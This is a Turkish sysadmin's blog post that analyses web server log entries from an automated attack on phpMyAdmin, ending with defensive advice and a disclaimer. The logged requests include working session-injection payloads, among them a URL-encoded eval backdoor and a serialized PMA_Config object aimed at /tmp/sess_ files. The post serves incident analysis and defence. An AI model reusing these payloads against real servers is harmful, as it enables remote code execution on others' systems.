Get Adobe Flash player

Sunucular üzerindeki kayıt dosyaları, sistem yöneticilerinin en önemli bilgi kaynaklarından biridir.  Bende bu bilgi kaynağına erişerek sistemde neler oluğ bittiğini anlamaya çalışırım.

Bu sabah sistem loglarını kontrol ederken, daha dumanı tüten PMA (PhpMyAdmin) güvenlik açıklarından yararlanılarak yapılan bir saldırının kayıtlarını gördüm.

PhpMyAdmin programının web sitelerinin bir alt dizini haline getirerek kullanılmasını uzun zamandan beri bırakmış durumdayım. PhpMyAdmin yeni başlayan arkadaşlar için MySQL veri tabanı tasarlanmasında ve yönetilmesinde çok yardımcı olabilir. Ama bu program sonradan insanın başına ciddi sorunlar açabilmektedir.

Bu saldırıyı yapan kişilerin Fransa üzerinden bu saldırıyı gerçekleştirdiklerini biliyorum. Sisteme bu saldırıyı yapan IP adresi Fransa' da ve sunucu olarak hizmet vermekte. Bu nedenle aşağıda açıklayacağım kayıt dosyası içerisinden bu IP adresini kaldırarak vereceğim.. wink

Started GET "/pma/index.php" for SALDIRGAN_IP_ADRESI at 2012-03-14 08:11:00 +0000
  Processing by missing_page as HTML
  Parameters: {"path"=>"pma/index.php"}
Completed 401 Unauthorized in 0ms

Started GET "/pma/setup/index.php" for SALDIRGAN_IP_ADRESI at 2012-03-14 08:11:00 +0000
  Processing by missing_page as
  Parameters: {"path"=>"pma/setup/index.php"}
Completed 401 Unauthorized in 0ms

Started GET "/pma/scripts/setup.php" for SALDIRGAN_IP_ADRESI at 2012-03-14 08:11:00 +0000
  Processing by missing_page as HTML
  Parameters: {"path"=>"pma/scripts/setup.php"}
Completed 401 Unauthorized in 0ms

Burada saldırgan' ın kullanmış olduğu saldırı programı(script) PMA' nın kurulum dizinlerinin varlığını, kurulum yapılmış ise kurulum dizinin varlığını arıyor.

Buradan çıkartılması gereken iki durum görünüyor. Eğer mutlaka PMA kullanmak istiyorsanız, PMA erişim dizinin ismini mutlaka değiştirmelisiniz. PMA yaptıktan sonra, lazım olur diye kurulum dizinini sunucu üzerinde bırakmamalı, silmelisiniz.  

Daha sonra saldırı programı, OTURUM(SESSION) üzerinden PMA' ya saldırı yapıyor. Bu işlemi yaparken, PHP programla dilini, OTURUM içerisine gömerek kodu çalıştırıyor.

Started GET "/pma//?_SESSION[ConfigFile][Servers][*/foreach%28%24_GET+as+%24k%3D%3E%24v%29if%28%24k%3D%3D%3D%22eval%22%29eval%28%24v%29%3B/*][port]=0&session_to_unset=x&token=" for SALDIRGAN_IP_ADRESI at 2012-03-14 08:11:00 +0000
  Processing by show as
  Parameters: {"_SESSION"=>{"ConfigFile"=>{"Servers"=>{"*/foreach($_GET as $k"=>">$v)if($k===\"eval\")eval($v);/*][port]=0"}}}, "session_to_unset"=>"x", "token"=>"", "id"=>"pma"}
Redirected to http://www.ustuntas.net/kayit_bulunamadi
Completed 302 Found in 94ms

Started GET "/pma/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A10%3A%22%2Ftmp%2Fsess_%22%3B%7D%7D" for SALDIRGAN_IP_ADRESI at 2012-03-14 08:11:00 +0000
  Processing by missing_page as HTML
  Parameters: {"session_to_unset"=>"123", "token"=>"", "_SESSION"=>{"!bla"=>"|xxx|a:1:{i:0;O:10:\"PMA_Config\":1:{s:6:\"source\";s:10:\"/tmp/sess_\";}}"}, "path"=>"pma/index.php"}
Completed 401 Unauthorized in 0ms

Burada dikkat edilmesi gereken nokta ise, sunucunuz üzerinde aktif oturumları /tmp dizini içerisinde saklamamanız. Bunun yerine farklı bir dizin oluşturup oturum bilgilerini o dizin içerisinde tutmalısınız. İlkinde, session_to_unset yaparak, yeni bir PMA oturumu açılmaya çalışılıyor. İkincisinde ise PMA_Config parametresini kullanarak /tmp/sess_ dosyaları üzerinden erişim yapılması için kod çalıştırılıyor.

Vakit bulduğumda devam edeceğiz..

 

 

 

 

Not: Burada anlatılanlar, sadece bir durum değerlendirmesidir. Bu duruma karşı nasıl korunulması gerektiğine dair bilgiler içermektedir. Burada ki bilgileri kullanarak yapılabilecek kötü niyetli davranışlar ve uygulamalar, tamamen yapanlara aittir. Bu yazıyı yazan ve sitede bulunduranları kesinlikle bağlamaz.

phpMyAdmin uzaktan kırılma güvenlik açığı


19 Mart 2012, Pazartesi, 12:08

| Ana Sayfa | Belgeler | Yazılım | Bilişim Güvenliği | Silat | Özgeçmiş |

- www.ustuntas.net - © 2003 - 2016 Sürüm: 1.1.07. Tüm hakları saklıdır. Bu site RubyonRails uygulama geliştirme yazılımı ile geliştirilmektedir.